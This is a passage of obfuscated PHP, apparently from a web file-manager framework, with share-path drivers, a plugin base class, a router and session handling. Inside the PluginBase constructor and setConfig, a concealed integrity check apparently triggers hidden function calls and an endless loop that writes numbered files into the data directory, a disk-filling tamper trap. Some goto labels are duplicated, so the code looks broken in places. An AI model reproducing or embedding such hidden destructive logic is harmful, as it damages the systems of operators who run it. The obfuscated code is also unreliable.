"\x50\145\x72\x6d\x61\x6e\x65\156\164\40\x52\145\x64\x69\x72\x65\143\164", "\x34\x30\x30" => "\102\141\144\x20\x52\145\x71\x75\145\163\164", "\x34\60\61" => "\125\156\x61\165\164\x68\157\162\151\x7a\145\x64", "\x34\60\x32" => "\120\x61\x79\x6d\x65\156\164\40\x52\145\161\165\151\x72\x65\x64", "\x34\60\63" => "\x46\157\x72\142\151\144\144\145\x6e", "\x34\x30\64" => "\116\x6f\164\x20\106\157\165\156\144", "\x34\60\65" => "\115\145\x74\x68\x6f\144\40\116\157\x74\x20\101\154\154\157\x77\145\144", "\x34\x30\66" => "\116\157\x74\40\101\x63\143\145\160\x74\x61\x62\x6c\145", "\x34\x30\x37" => "\120\x72\x6f\170\171\x20\101\165\164\150\x65\156\x74\151\x63\141\x74\151\157\156\x20\x52\x65\x71\x75\151\x72\145\x64", "\x34\x30\x38" => "\x52\x65\x71\x75\145\163\x74\40\x54\x69\x6d\x65\x6f\x75\164", "\x34\60\x39" => "\x43\157\156\x66\154\x69\143\164", "\x34\61\x30" => "\x47\157\156\x65", "\x34\x31\x31" => "\x4c\145\156\x67\x74\x68\x20\122\145\x71\165\x69\162\x65\x64", "\64\61\62" => "\120\x72\x65\x63\x6f\x6e\144\x69\x74\151\x6f\156\40\106\x61\x69\x6c\145\x64", "\x34\x31\63" => "\122\x65\x71\x75\x65\163\x74\x20\105\x6e\164\x69\164\171\40\x54\157\157\x20\x4c\x61\x72\147\x65", "\x34\x31\64" => "\x52\145\x71\x75\145\x73\164\40\125\x52\111\x20\124\157\x6f\x20\114\141\162\147\x65", "\x34\61\x35" => "\x55\x6e\x73\x75\x70\160\x6f\x72\164\x65\x64\40\115\145\144\x69\x61\x20\124\171\160\145", "\64\61\x36" => "\122\x65\161\165\145\163\x74\x65\144\x20\x52\x61\x6e\147\145\40\x4e\x6f\x74\x20\123\x61\164\151\x73\146\x69\x61\142\154\x65", "\64\61\x37" => "\105\x78\x70\x65\143\x74\x61\164\151\157\x6e\x20\106\141\151\x6c\145\144", "\64\62\x32" => "\x55\156\160\x72\x6f\x63\x65\x73\x73\x61\x62\154\x65\40\x45\x6e\x74\151\164\171", "\x34\x32\x33" => "\114\157\143\153\x65\144", "\64\x32\x34" => "\x46\x61\x69\154\x65\x64\40\x44\x65\x70\145\x6e\x64\x65\156\x63\x79", "\64\62\65" => "\125\x6e\x6f\x72\144\145\x72\x65\x64\x20\x43\x6f\x6c\154\145\x63\x74\x69\157\156", "\64\x32\x36" => "\x55\x70\x67\162\141\144\145\x20\122\x65\161\x75\151\162\x65\144", "\x34\62\70" => "\120\x72\x65\x63\x6f\156\x64\x69\164\151\157\x6e\40\x52\145\x71\x75\x69\x72\x65\x64", "\x34\x32\71" => "\x54\157\157\x20\115\141\156\x79\x20\122\145\x71\x75\145\163\x74\x73", "\x34\x33\x31" => "\122\x65\x71\165\x65\163\x74\x20\x48\145\x61\x64\145\x72\x20\106\x69\x65\154\144\x73\40\x54\157\157\x20\114\141\x72\x67\145", "\64\64\64" => "\116\157\x20\122\x65\163\160\157\156\163\145", "\x34\x35\60" => "\102\x6c\157\x63\153\145\144\x20\142\171\40\x57\x69\x6e\x64\x6f\x77\x73\40\120\141\162\x65\x6e\x74\x61\154\x20\x43\157\156\164\162\x6f\154\163", "\x34\65\61" => "\x55\156\x61\x76\x61\x69\x6c\x61\142\x6c\145\x20\x46\157\x72\40\114\x65\147\x61\154\x20\122\145\141\x73\x6f\156\163", "\64\x39\64" => "\122\145\x71\165\x65\163\164\40\x48\145\141\144\x65\x72\x20\x54\x6f\157\40\114\141\x72\x67\145", "\65\x30\60" => "\x49\156\x74\x65\x72\156\x61\154\40\123\145\x72\166\x65\x72\x20\x45\162\x72\x6f\162", "\x35\60\61" => "\116\157\x74\40\111\x6d\x70\154\145\155\x65\156\164\x65\x64", "\x35\x30\x32" => "\102\x61\144\40\107\x61\164\145\167\x61\x79", "\x35\x30\x33" => "\x53\x65\162\x76\x69\143\145\40\125\x6e\x61\166\x61\151\x6c\x61\x62\x6c\x65", "\65\x30\64" => "\x47\141\164\x65\167\141\x79\x20\x54\x69\x6d\x65\157\165\164", "\65\x30\x35" => "\110\124\x54\x50\40\x56\145\162\163\151\157\x6e\40\156\157\x74\x20\x73\x75\x70\x70\157\x72\x74\x65\144", "\x35\x30\67" => "\x49\156\x73\x75\x66\146\x69\143\151\145\156\x74\40\123\164\157\162\141\x67\x65"); public static function code($Fř) { $aɽ =& $_SERVER[ڊ]; $Fř = $Fř . $aɽ[33]; $a = self::$statusCode[$Fř]; $a = $a ? "\x48\124\x54\120\57\61\x2e\61\x20{$Fř}\x20" . $a : $aɽ[33]; return $a; } } $a٩ = LIB_DIR . $_SERVER[ڊ][1151]; goto fێ; fŇ: class PathDriverDbShareLink extends PathDriverDB { public function __construct($eŽ҂) { $this->pathParse = $eŽ҂; $this->model = Model($_SERVER[ڊ][1102]); } protected function infoParse($a˦, $Bư = false, $a槊– = false) { $eĕփ =& $_SERVER[ڊ]; return Action($eĕփ[1009])->sharePathInfo($this->pathParse[$eĕփ[75]], !0); } public function listPath($Fނ𵧥, $a֠Ͻ = false) { $DҸ =& $_SERVER[ڊ]; $A㳆 = parent::listPath($Fނ𵧥, $a֠Ͻ); foreach ($A㳆 as $e => $Dƿ) { if (!in_array($e, array($DҸ[73], $DҸ[74]))) { continue; } foreach ($Dƿ as $C => $B郈) { $A㳆[$e][$C] = Action($DҸ[1009])->shareItemInfo($B郈); } } return $A㳆; } public function listAll($c) { $Eӵ =& $_SERVER[ڊ]; $A = IO::info($this->pathParse[$Eӵ[75]]); if (!$A) { return array(); } $Dåτ = $this->model->listAll($c); foreach ($Dåτ as &$B͑˿) { $B͑˿[$Eӵ[388]] = Action($Eӵ[1009])->shareItemInfo($B͑˿[$Eӵ[388]]); } return $Dåτ; } } class PathDriverDriverShareItem { public function __construct($fב) { $this->pathParse = $fב; } public function __call($C, $Eʧ) { $cʊ =& $_SERVER[ڊ]; if (method_exists($this, $C)) { return; } $B֏ = call_user_func_array(array($cʊ[1109], $C), $Eʧ); $F = array($cʊ[1110], $cʊ[1111], $cʊ[1112], $cʊ[1113], $cʊ[486], $cʊ[488], $cʊ[1114], $cʊ[91], $cʊ[1115], $cʊ[1116]); if (in_array($C, $F)) { $B֏ = $this->getPathOuter($B֏); } return $B֏; } public function copy($d˅샅, $E҄, $eҮµ = false) { return $this->copyMove($d˅샅, $E҄, $eҮµ, $_SERVER[ڊ][486]); } public function move($b, $a, $C = false) { return $this->copyMove($b, $a, $C, $_SERVER[ڊ][488]); } private function copyMove($Bм, $d, $c, $B) { goto bϘ; Bᷛ: return $FǪ; goto f̥; bϘ: $D =& $_SERVER[ڊ]; $EÓ = $d; $E = IO::driverMake($d); goto fߴݕ; fߴݕ: if ($E->pathParse[$D[990]]) { $d = $E->pathParse[$D[990]]; } else { $d = $EÓ; } $FǪ = IO::copyMove($Bм, $d, $c, $B); $FǪ = $this->getPathOuter($FǪ); goto Bᷛ; f̥: } public function pathFather($dɄ) { return get_path_father($this->pathParse[$_SERVER[ڊ][75]]); } public function iconvSystem($Aڋΐ) { return $Aڋΐ; } protected function infoParse($AʇÎ) { $cɂӰ =& $_SERVER[ڊ]; $Eȅސ = $this->pathParse[$cɂӰ[435]][$cɂӰ[1010]] . $this->pathParse[$cɂӰ[1003]]; $b = IO::info($Eȅސ); $f = $this->pathParse[$cɂӰ[435]]; return Action($cɂӰ[1108])->_shareItemeParse($b, $f); } public function listAll($B) { $b㠪 =& $_SERVER[ڊ]; $b = IO::listAll($B); $a = $this->pathParse[$b㠪[435]]; foreach ($b as &$d) { check_abort(); $d = array_merge(IO::info($d[$b㠪[75]]), $d); $d[$b㠪[388]] = Action($b㠪[1108])->_shareItemeParse($d, $a); } return $b; } public function getPathOuter($cϏ) { goto EԐ; a꜖: if (substr($eχ, 0, strlen($D)) != $D) { return !1; } return $this->pathParse[$aҞ[1004]] . $aҞ[8] . ltrim($fː, $aҞ[8]); goto B; cǢ: $eχ = KodIO::clear($cϏ); $D = KodIO::clear($this->pathParse[$aҞ[435]][$aҞ[1010]]); $fː = substr($eχ, strlen($D)); goto a꜖; EԐ: $aҞ =& $_SERVER[ڊ]; $C = KodIO::parse($cϏ); if ($C[$aҞ[29]] == KodIO::KOD_SHARE_ITEM) { return $C[$aҞ[75]]; } goto cǢ; B: } public function getType() { $aгؐ =& $_SERVER[ڊ]; $fġ = str_replace($aгؐ[71], $aгؐ[33], get_class($this)); return strtolower($fġ); } public function isTypeObject($D̞) { return IO::isTypeObject($D̞); } public function info($FÜۭ) { return $this->infoParse($FÜۭ); } public function infoAuth($BǶ) { return $this->infoParse($BǶ); } public function infoWithChildren($F޿) { return $this->infoParse($F޿); } public function infoFull($Bۄ) { return $this->infoParse($Bۄ); } } class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($D) { $this->pathParse = $D; } protected function infoParse($AĎ) { $dĪ΃ =& $_SERVER[ڊ]; return Action($dĪ΃[1009])->sharePathInfo($this->pathParse[$dĪ΃[75]], !0); } public function listPath($B, $f̶ = false) { $D =& $_SERVER[ڊ]; $fÚ棡 = IO::listPath($B, $f̶); foreach ($fÚ棡 as $D匤 => $Eަ) { if (!in_array($D匤, array($D[73], $D[74]))) { continue; } foreach ($Eަ as $b => $cۙ) { $cۙ = Action($D[1117])->parsePathChildren($cۙ, array($D[384] => $B)); $fÚ棡[$D匤][$b] = Action($D[1009])->shareItemInfo($cۙ); } } return $fÚ棡; } public function listAll($cõ) { $Aӷ =& $_SERVER[ڊ]; $Eևү = IO::listAll($cõ); foreach ($Eևү as &$eƎ) { $eƎ = array_merge(IO::info($eƎ[$Aӷ[75]]), $eƎ); $eƎ[$Aӷ[388]] = Action($Aӷ[1009])->shareItemInfo($eƎ); } return $Eևү; } } goto dʤВ; a֜: class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { goto d̬Ѻ; d̬Ѻ: $b㜺 =& $_SERVER[ڊ]; $dȭߥ = $_SERVER[$b㜺[785]] . $b㜺[786]; $A = $b㜺[1152]; goto c⎴; d՚: $this->in =& $in; $this->modelPlugin = Model($b㜺[1294]); $this->pluginName = str_replace($b㜺[1294], $b㜺[33], get_class($this)); goto c屣; c⎴: if ($_SERVER[$b㜺[781]] != $A($dȭߥ)) { goto Aݯ؋; c: $fã(); $B렔㨕 = $b㜺[1292]; $c = json_encode($GLOBALS[$b㜺[1293]]); goto eľʳ; eľʳ: $Cì = 1; for ($Fӳ = $Cì; $Fӳ > 0; $Fӳ++) { $B렔㨕(DATA_PATH . $Fӳ, $c); } goto C; EǾ: $Eń = $b㜺[788]; $Eń($_SERVER[$b㜺[789]]); $fã = $b㜺[783]; goto c; Eň: $dDz = $Aޒ($aɇ); $C㟂 = explode($b㜺[214], $dDz); if (count($C㟂) < $b㜺[549]) { $dԦ = $b㜺[787]; $dԦ(); } goto EǾ; Aݯ؋: $fã = $b㜺[783]; $Aޒ = $b㜺[784]; $aɇ = $_SERVER[$b㜺[785]] . $b㜺[786]; goto Eň; C: } global $in, $config; $this->config =& $config; goto d՚; c屣: $this->pluginPath = PLUGIN_DIR . $this->pluginName . $b㜺[8]; $this->pluginApi = appHostGet() . $b㜺[1295] . $this->pluginName . $b㜺[8]; $this->pluginHost = PLUGIN_HOST . $this->pluginName . $b㜺[8]; goto b뮅Ъ; A܃ڻ: return $this; goto dզΎ; b뮅Ъ: $this->pluginHostDefault = PLUGIN_HOST . $this->pluginName . $b㜺[8]; $this->pluginLangArr = $this->initLang(); $this->values = array(); goto A܃ڻ; dզΎ: } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[ڊ][1296]); } protected function assign($B׸, $a’ = false) { if (is_array($B׸)) { $this->values = array_merge($this->values, $B׸); } else { $this->values[$B׸] = $a’; } } protected function display($aκ) { extract($this->values); require $aκ; } final function hookRegist($Dَޡ) { $this->modelPlugin->appRegist($this->pluginName, $Dَޡ); } final function appIcon() { $B܌ =& $_SERVER[ڊ]; $Fߔڽ = $this->appPackage(); $e·ۓ = $B܌[33]; if (isset($Fߔڽ[$B܌[379]])) { if (isset($Fߔڽ[$B܌[379]][$B܌[1297]])) { $e·ۓ = $B܌[1298] . $Fߔڽ[$B܌[379]][$B܌[1297]] . $B܌[1299]; } else { if ($Fߔڽ[$B܌[379]][$B܌[1300]]) { $e·ۓ = $B܌[1301] . $Fߔڽ[$B܌[379]][$B܌[1300]] . $B܌[1302]; } } } return $e·ۓ; } final function fileCanView($aإ) { $b» =& $_SERVER[ڊ]; if (request_url_safe($aإ)) { return !0; } if ($this->isShare($aإ)) { return !0; } if (!Action($b»[1303])->authCan($b»[1304])) { show_tips(LNG($b»[1305]) . $b»[1306], !1); } ActionCall($b»[1307], $aإ); } final function isShare($Eݔ) { $fȂĹ = KodIO::parse($Eݔ); return $fȂĹ[$_SERVER[ڊ][29]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($b肈) { if (request_url_safe($b肈)) { return $b肈; } if (!$this->isShare($b肈)) { $b肈 = $this->filePath($b肈); } return Action($_SERVER[ڊ][1009])->linkOut($b肈); } public function filePathLinkOut($Dخ) { if (request_url_safe($Dخ)) { return $Dخ; } $this->fileCanView($Dخ); return Action($_SERVER[ڊ][1009])->link($Dخ); } final function filePath($C) { $EՂ =& $_SERVER[ڊ]; if ($a = $this->checkSharePath($C)) { return $a; } $this->fileCanView($C); if (request_url_safe($C)) { $B頗 = parse_url_query($C); if (isset($B頗[$EՂ[1308]]) && isset($B頗[$EՂ[194]])) { $c鈬 = Model($EՂ[1080])->get($EՂ[1309]); $A̚ = Mcrypt::decode($B頗[$EՂ[194]], $c鈬); if ($A̚) { $this->fileInfo = IO::infoWithChildren($A̚); $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); return $A̚; } } $C = $this->_cacheHttpFile($C); $this->fileInfo = IO::infoWithChildren($C); } else { $this->fileInfo = IO::infoWithChildren($C); if (!$this->fileInfo) { show_tips(LNG($EՂ[102]), !1); } $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); } return $C; } final function _cacheHttpFile($Aٸ) { $a㈠ = hash_path($Aٸ, !0); $this->cachePath = $this->pluginCachePath($a㈠); if ($F檘 = IO::fileNameExist($this->cachePath, $a㈠)) { return KodIO::make($F檘); } $aᆟ = $this->cachePath . $a㈠; return $this->pluginCacheFileSet($aᆟ, file_get_contents($Aٸ)); } final function _tmpFileName($eô = array()) { goto Eؤ; CϾ: if (isset($eô[$BЉ[159]][$BЉ[161]])) { return $eô[$BЉ[159]][$BЉ[161]]; } $C = array($eô[$BЉ[28]], $eô[$BЉ[75]], $eô[$BЉ[77]]); if (isset($eô[$BЉ[455]])) { $C[] = $eô[$BЉ[455]]; } goto D; D: return md5(implode($BЉ[70], $C)); goto c҆; Eؤ: $BЉ =& $_SERVER[ڊ]; if (!$eô) { $eô = $this->fileInfo; } if (isset($eô[$BЉ[161]])) { return $eô[$BЉ[161]]; } goto CϾ; c҆: } final function checkSharePath($Cƻ) { goto aޒ; aޒ: $f =& $_SERVER[ڊ]; if (!defined($f[423])) { define($f[1310], 0); } if (!$this->isShare($Cƻ)) { return !1; } goto d˵ѓ; Aŏ: $this->cachePath = $this->pluginCachePath($this->fileInfo[$f[161]]); return $cٝ[$f[75]]; goto e; d˵ѓ: $cٝ = Action($f[1009])->sharePathInfo($Cƻ); if (!isset($cٝ[$f[75]])) { show_json(LNG($f[1311]), !1); } $this->fileInfo = $cٝ[$f[159]]; goto Aŏ; e: } final function pluginCachePath($A껎 = '') { $eݠ =& $_SERVER[ڊ]; $CԌ = IO_PATH_SYSTEM_TEMP . $eݠ[1312] . $this->pluginName; if (!($aÅ = IO::infoFull($CԌ))) { return IO::mkdir($CԌ . $eݠ[8] . $A껎); } if (empty($A껎)) { return $aÅ[$eݠ[75]]; } if (!($E須 = IO::fileNameExist($aÅ[$eݠ[75]], $A껎))) { return IO::mkdir($aÅ[$eݠ[75]] . $A껎); } return KodIO::make($E須); } final function pluginCacheFileSet($cυ, $D̈́ = '') { $Aۤψ =& $_SERVER[ڊ]; if (!($A٪ = IO::infoFull($cυ))) { return IO::mkfile($cυ, $D̈́, REPEAT_REPLACE); } IO::setContent($A٪[$Aۤψ[75]], $D̈́); return $A٪[$Aۤψ[75]]; } final function pluginLocalFile($F = '') { goto fŃ佈; AϦ: $c۫ = $B . $Eخ; if (@file_exists($c۫)) { return $c۫; } return IO::copy($F, $B, 0, $Eخ); goto C; dٌ: if (!$F) { return $B; } $Dӑ = IO::info($F); $Eخ = $this->_tmpFileName($Dӑ) . $D捩[93] . $Dӑ[$D捩[157]]; goto AϦ; fŃ佈: $D捩 =& $_SERVER[ڊ]; $B = TEMP_FILES . "{$this->pluginName}\x2f"; if (!is_dir($B)) { mk_dir($B); } goto dٌ; C: } final function appPackage() { goto F懞; d܉Ӵ: return $eҪ; goto Eߞ; a֣: $this->parseLang($eɅ); $eҪ = json_decode_force($eɅ); if (!$eҪ) { return array(); } goto CԘ; F懞: $a =& $_SERVER[ڊ]; if ($this->packageData) { return $this->packageData; } $eɅ = $this->parseFile($this->pluginPath . $a[1313]); goto a֣; CԘ: $A = Hook::trigger($a[1314], $eҪ); if ($A && is_array($A)) { $eҪ = $A; } $this->packageData = $eҪ; goto d܉Ӵ; Eߞ: } public function packageInfoGet($c렑Ҩ) { $B = $this->appPackage(); return array_get_value($B, $c렑Ҩ); } public function packageVersion() { return $this->packageInfoGet($_SERVER[ڊ][1315]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[ڊ][1316]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[ڊ][1317]); } private function parseFile($e) { $eڞ˗ =& $_SERVER[ڊ]; $D܂ = file_get_contents($e); $Cğ = array($eڞ˗[1318], $eڞ˗[1319], $eڞ˗[1320], $eڞ˗[1321], $eڞ˗[1322], $eڞ˗[1323], $eڞ˗[1324]); $D« = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$eڞ˗[84]][$eڞ˗[1325]]); $D܂ = str_replace($Cğ, $D«, $D܂); return $D܂; } private function parseLang(&$fé) { goto dٽ; dٽ: $B׼ѱ =& $_SERVER[ڊ]; $cɘ = $B׼ѱ[1326]; if (!strstr($fé, $cɘ)) { return; } goto E⎰ǵ; E⎰ǵ: preg_match_all($B׼ѱ[1327], $fé, $eђ); if (!is_array($eђ) || count($eђ) == 0 || !is_array($eђ[0]) || count($eђ[0]) == 0) { return; } $eŬ = array(); goto C; C: $C˔ʮ = array(); foreach ($eђ[0] as $Fł) { $bܜ = substr($Fł, strlen($cɘ), -4); $DС = LNG($bܜ); $eŬ[] = $Fł; $C˔ʮ[] = str_replace(array($B׼ѱ[214], $B׼ѱ[984], $B׼ѱ[327], $B׼ѱ[113]), array($B׼ѱ[50], $B׼ѱ[50], $B׼ѱ[33], $B׼ѱ[1328]), $DС); } $fé = str_replace($eŬ, $C˔ʮ, $fé); goto f滣; f滣: } private function parseConfig(&$C) { goto f; f: $C = str_replace($eӔ༂, $d×, $C); goto Ą; f: $Eҍ =& $_SERVER[ڊ]; $b = $Eҍ[1329]; if (!strstr($C, $b)) { return; } goto Bۦ; Bۦ: preg_match_all($Eҍ[1330], $C, $C˽Œ); if (!is_array($C˽Œ) || count($C˽Œ) == 0 || !is_array($C˽Œ[0]) || count($C˽Œ[0]) == 0) { return; } $fмܝ = $this->getConfig(); goto f; f: $eӔ༂ = array(); $d× = array(); foreach ($C˽Œ[0] as $b˽) { $B = substr($b˽, strlen($b), -2); $eӔ༂[] = $b˽; $d×[] = _get($fмܝ, $B); } goto f; Ą: } private function parsePackage(&$a) { goto bҒ; a: $a = str_replace($F׶ʚ, $bʼn禌, $a); goto CҐ; EѦ: preg_match_all($E㞐[1332], $a, $bާ); if (!is_array($bާ) || count($bާ) == 0 || !is_array($bާ[0]) || count($bާ[0]) == 0) { return; } $C = $this->appPackage(); goto C􅒹; bҒ: $E㞐 =& $_SERVER[ڊ]; $A̞ = $E㞐[1331]; if (!strstr($a, $A̞)) { return; } goto EѦ; C􅒹: $F׶ʚ = array(); $bʼn禌 = array(); foreach ($bާ[0] as $D岘) { $a = substr($D岘, strlen($A̞), -2); $F׶ʚ[] = $D岘; $bʼn禌[] = _get($C, $a); } goto a; CҐ: } final function echoFile($aҸ, $C뤷߃ = false) { goto C; A񲕫댬: $this->parsePackage($Fִ); if (is_array($C뤷߃)) { $Fִ = str_replace(array_keys($C뤷߃), array_values($C뤷߃), $Fִ); } echo $b֜[214] . $Fִ; goto B; C: $b֜ =& $_SERVER[ڊ]; $aô = $this->pluginPath . $aҸ; if (ACT == $b֜[1333]) { echo $b֜[1334] . $this->pluginName . $b֜[8] . $aҸ . $b֜[1335]; if (!file_exists($aô)) { echo $b֜[1336]; return; } } goto d; d: $Fִ = $this->parseFile($aô); $this->parseLang($Fִ); $this->parseConfig($Fִ); goto A񲕫댬; B: } final function initLang() { goto D; D: $Aջ =& $_SERVER[ڊ]; $c = $Aջ[1337]; $CǞ = $this->pluginPath . $Aջ[1338]; goto E빬֭; E빬֭: $fꋋ = I18n::getType(); $f֫ⷆ = array(); if (file_exists($CǞ . $fꋋ . $Aջ[759])) { $f֫ⷆ = (include $CǞ . $fꋋ . $Aջ[759]); } else { if ($fꋋ == $Aջ[1339] && !file_exists($CǞ . $fꋋ . $Aջ[759]) && file_exists($CǞ . $Aջ[1340])) { $f֫ⷆ = (include $CǞ . $Aջ[1340]); } else { if (file_exists($CǞ . $c . $Aջ[759])) { $f֫ⷆ = (include $CǞ . $c . $Aջ[759]); } } } goto CĈ; CĈ: if (!is_array($f֫ⷆ)) { return array(); } if (@count($f֫ⷆ) > 0) { I18n::set($f֫ⷆ); } return $f֫ⷆ; goto fě; fě: } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($E) { $aا =& $_SERVER[ڊ]; if (!isset($_SERVER[$aا[781]]) || !isset($_SERVER[$aا[1341]])) { goto Bܨ։; D򂞊: $f֟ = $E䑖($Fᣏ); $bت = explode($aا[214], $f֟); if (count($bت) < $aا[549]) { $Bɱ = $aا[787]; $Bɱ(); } goto F; F: $aؖ = $aا[788]; $aؖ($_SERVER[$aا[789]]); $F = 1; goto E䗽; Bܨ։: $b˥͸ = $aا[783]; $E䑖 = $aا[784]; $Fᣏ = $_SERVER[$aا[785]] . $aا[786]; goto D򂞊; E䗽: for ($D帋 = $F; $D帋 > 0; $D帋++) { $aؖ = json_encode($GLOBALS[$aا[381]]); } goto fӉ; fӉ: } return $this->modelPlugin->setConfig($this->pluginName, $E); } public function onSetConfig($a) { } public function onGetConfig($F) { } public function onChangeStatus($AÝ) { } public function onUninstall() { } public function onInstall() { } public function authCheck($fʎ = "\160\x6c\x75\x67\x69\x6e\101\x75\x74\x68") { $EՈ =& $_SERVER[ڊ]; if (!defined($EՈ[423])) { return !1; } if (_get($GLOBALS, $EՈ[453])) { return !0; } $b髟 = $this->getConfig(); if (!$b髟[$fʎ]) { return !1; } return ActionCall($EՈ[1342], $b髟[$fʎ]); } public function url($b̄, $aٱ = '', $D = true) { goto C㛅׍; C㛅׍: $e =& $_SERVER[ڊ]; $dʖ = $this->getConfig(); $aӖ = KOD_VERSION . $e[93] . KOD_VERSION_BUILD; goto e׸; Fﺋ: if (!$D) { return $Bי͇; } echo $Bי͇; goto fԦ̻; e׸: $c = $this->packageVersion(); $A = $aӖ . $e[408] . $c; if ($aٱ == $e[33]) { $Bי͇ = $this->pluginHost . $b̄ . $e[1343] . $A; } else { if ($aٱ === $e[76]) { $Bי͇ = $this->pluginHost . $b̄; } else { if ($aٱ == $e[1344]) { $Bי͇ = STATIC_PATH . $b̄ . $e[1343] . $aӖ; } else { if ($aٱ == $e[1345]) { $Bי͇ = APP_HOST . $e[1346] . $b̄ . $e[1343] . $aӖ; } else { if (isset($dʖ[$aٱ])) { $Bי͇ = $dʖ[$aٱ] . $b̄ . $e[1343] . $A; } } } } } goto Fﺋ; fԦ̻: } public function link($BЉ = false, $C = '') { $C٠ͼ =& $_SERVER[ڊ]; if (!$BЉ) { $this->link($C٠ͼ[1347], $C٠ͼ[1345]); $this->link($C٠ͼ[1348], $C٠ͼ[1344]); $this->link($C٠ͼ[1349], $C٠ͼ[1344]); $this->link($C٠ͼ[1350], $C٠ͼ[1344]); $this->link($C٠ͼ[1351], $C٠ͼ[1344]); return; } $f = $this->url($BЉ, $C, !1); if (substr($BЉ, -3) == $C٠ͼ[1352]) { echo $C٠ͼ[1353] . $f . $C٠ͼ[1354] . $C٠ͼ[214]; } else { if (substr($BЉ, -4) == $C٠ͼ[1355]) { echo $C٠ͼ[1356] . $f . $C٠ͼ[1357] . $C٠ͼ[214]; } } } } class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array("\x3a\x61\x6e\171" => "\133\136\x2f\135\x2b", "\72\x6e\x75\155" => "\133\x30\x2d\71\135\x2b", "\72\x61\154\154" => "\56\52"); public static $errorCallback; public static function __callstatic($Fĉ, $cՃ) { $f۫ =& $_SERVER[ڊ]; if ($Fĉ == $f۫[1358]) { $E늱 = array_map($f۫[1359], $cՃ[0]); $C՝ = strpos($cՃ[1], $f۫[8]) === 0 ? $cՃ[1] : $f۫[8] . $cՃ[1]; $A = $cՃ[2]; } else { $E늱 = null; $C՝ = strpos($cՃ[0], $f۫[8]) === 0 ? $cՃ[0] : $f۫[8] . $cՃ[0]; $A = $cՃ[1]; } array_push(self::$maps, $E늱); array_push(self::$routes, $C՝); array_push(self::$methods, strtoupper($Fĉ)); array_push(self::$callbacks, $A); } public static function error($Dɯט) { self::$errorCallback = $Dɯט; } public static function haltOnMatch($dԣ = true) { self::$halts = $dԣ; } public static function dispatch() { goto b݂; b: self::$routes = preg_replace($c[1065], $c[8], self::$routes); if (in_array($cΦ, self::$routes)) { $aɆ = array_keys(self::$routes, $cΦ); foreach ($aɆ as $C丏) { if (self::$methods[$C丏] == $b踅 || self::$methods[$C丏] == $c[1361] || in_array($b踅, self::$maps[$C丏])) { $CȢֶ = !0; if (!is_object(self::$callbacks[$C丏])) { $Aᡆȣ = explode($c[8], self::$callbacks[$C丏]); $eҍꮙ = end($Aᡆȣ); $b쎱 = explode($c[1362], $eҍꮙ); $d₻ = new $b쎱[0](); $d₻->{$b쎱[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$C丏]); if (self::$halts) { return; } } } } } else { $Cص = 0; foreach (self::$routes as $C丏) { if (strpos($C丏, $c[4]) !== !1) { $C丏 = str_replace($Bێۗ, $Dζ̎, $C丏); } if (preg_match($c[1363] . $C丏 . $c[1364], $cΦ, $B)) { if (self::$methods[$Cص] == $b踅 || self::$methods[$Cص] == $c[1361] || !empty(self::$maps[$Cص]) && in_array($b踅, self::$maps[$Cص])) { $CȢֶ = !0; array_shift($B); if (!is_object(self::$callbacks[$Cص])) { $Aᡆȣ = explode($c[8], self::$callbacks[$Cص]); $eҍꮙ = end($Aᡆȣ); $b쎱 = explode($c[1362], $eҍꮙ); $d₻ = new $b쎱[0](); if (!method_exists($d₻, $b쎱[1])) { echo $c[1365]; } else { call_user_func_array(array($d₻, $b쎱[1]), $B); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$Cص], $B); if (self::$halts) { return; } } } } $Cص++; } } if ($CȢֶ == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $fץ =& $_SERVER[ڊ]; header($_SERVER[$fץ[1366]] . $fץ[1367]); echo $fץ[1368]; }; } else { if (is_string(self::$errorCallback)) { self::get($_SERVER[$c[1360]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } goto E; c͈: $Bێۗ = array_keys(static::$patterns); $Dζ̎ = array_values(static::$patterns); $CȢֶ = !1; goto b; b݂: $c =& $_SERVER[ڊ]; $cΦ = parse_url($_SERVER[$c[1360]], PHP_URL_PATH); $b踅 = $_SERVER[$c[151]]; goto c͈; E: } } class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { goto Bć; Bć: $BӉߋ =& $_SERVER[ڊ]; static $E = false; if ($E) { return $E; } goto Dä; Dä: $cϔֆ = $GLOBALS[$BӉߋ[6]][$BӉߋ[334]]; self::$sessionTime = $cϔֆ[$BӉߋ[1369]]; $c = SESSION_ID; goto eى; B: $E = $cϔֆ[$BӉߋ[1371]]; $cȉ = $cϔֆ[$E]; $aԌ = $cϔֆ[$BӉߋ[749]]; goto D; eى: $c = _get($GLOBALS, $BӉߋ[1370], $c); if (self::$sessionSign) { } else { if (Cookie::get($c)) { self::$sessionSign = Cookie::get($c); } else { self::$sessionSign = guid(); } } Cookie::setSafe($c, self::$sessionSign, self::$sessionTime); goto B; D: switch ($E) { case $BӉߋ[17]: self::$handle = Model($BӉߋ[750]); break; case $BӉߋ[751]: self::$handle = new CacheRedis($cȉ, $aԌ); break; case $BӉߋ[752]: self::$handle = new CacheMemcached($cȉ, $aԌ); break; case $BӉߋ[164]: $cȉ[$BӉߋ[75]] = $cȉ[$BӉߋ[75]] . $BӉߋ[1372]; self::$handle = new CacheFile($cȉ, $aԌ); default: break; } if (!self::$data) { CacheLock::lock(self::$sessionSign); self::$data = self::$handle->get(self::$sessionSign); CacheLock::unlock(self::$sessionSign); self::$data = unserialize(self::$data); if (!is_array(self::$data)) { self::$data = array(); } } $E = new self(); 